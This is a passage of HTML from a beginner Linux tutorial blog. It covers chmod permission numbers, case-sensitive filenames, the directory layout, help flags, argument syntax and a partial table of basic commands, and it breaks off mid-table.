font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> which is 7 in decimal</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For the GROUP part, we enable only Execute bit </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">001</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and it’s 1 in decimal</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For the ANY part, we enable again Execute bit only </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">001</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and it’s 1 in decimal</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As a resulting number we will have: </span><span style="color: blue; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">711</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">chmod 711 somefile</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">#will set our desired permissions to </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">somefile</span></p><br /></span>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-27864083995570489252022-04-04T00:55:00.004+03:002022-04-04T01:02:51.429+03:00#HOWTO #Linux: Basics<span id="docs-internal-guid-988e2b66-7fff-b28b-bcff-579c915e1df9"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Linux Basics:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Intro</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The Linux operating system is open-source, and continuously developed and improved by every interested person. All the people involved in usage, testing and development of open-source projects are referred to as </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Community</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Any linux or unix like OS are similar in their filesystem structure, user management and many other things. But they are not the same.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Everything in linux is stored as files, including devices, cpu, memory and data files themselves.</span></p><div style="text-align: justify;"><br /></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Main difference between Windows and Linux filesystems is that Linux is case-sensitive and Windows is case-insensitive. Meaning, that in linux filesystem following file names will represent two different files:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">t</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">estfile.txt</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">T</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">estfile.txt</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Furthermore, Windows OS will determine file type depending on its extension while linux will try to look inside and understand what is the content.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">./testfile</span><span style="background-color: #efefef; color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">.txt</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># Windows identifies that the file is textual data </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">by extension</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">./testfile</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># Linux will look at the </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">file content</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, ignoring the extension</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Windows executable file has extension of </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">.exe</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> while Linux executable file has </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">EXECUTE permissions</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> set.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Directory Structure</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Linux filesystem main folder (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">root</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) is always </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> while in Windows you may find disks like </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">C:\</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">D:\</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and others.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">In Linux, external drives are mounted to specific path like </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/media/root/DRIVE</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Most interesting default linux directories found in </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/bin </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># core programs (commands)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/dev </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># contains devices</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/etc </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># system configurations</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/home </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># users home directories</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/media </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># default path for external storage mount </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/proc </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># process information</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/root </span><span style="font-family: "Courier New"; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># root’s home directory</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="display: inline-block; position: relative; width: 100px;"></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Commands and their rules</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Probably the most useful command argument for the linux beginner is </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">--help</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> or </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">-h</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Almost every command and programs in the linux operating system accept this argument which provides a lot of useful information on the executed command.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">You may try for example:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cd --help</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">ls --help</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cat --help</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each of them will print an extended help manual for the command.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Please note that some commands accept short syntax (</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">-h</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) and long syntax (</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">--help</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">).</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Try to remember that some commands require space between the argument and it’s value (</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">-p</span><span style="background-color: #d9ead3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">value</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">), some don’t require that </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">-pvalue</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and some don’t require ‘-’ character before the argument (</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">tar xzvf file.tar.gz</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">).</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">That all depends on the command itself.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Basic commands and their descriptions:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">value</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> => required value</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">[value]</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> => optional value</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span></p><div dir="ltr" style="margin-left: 0pt; text-align: center;"><table style="border-collapse: collapse; border: none;"><colgroup><col width="198"></col><col width="426"></col></colgroup><tbody><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Command</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Description</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ls [path]</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Get Directory contents</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cd somedir</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Change directory to “somedir”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">pwd</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Get current working directory</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rm filename</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: 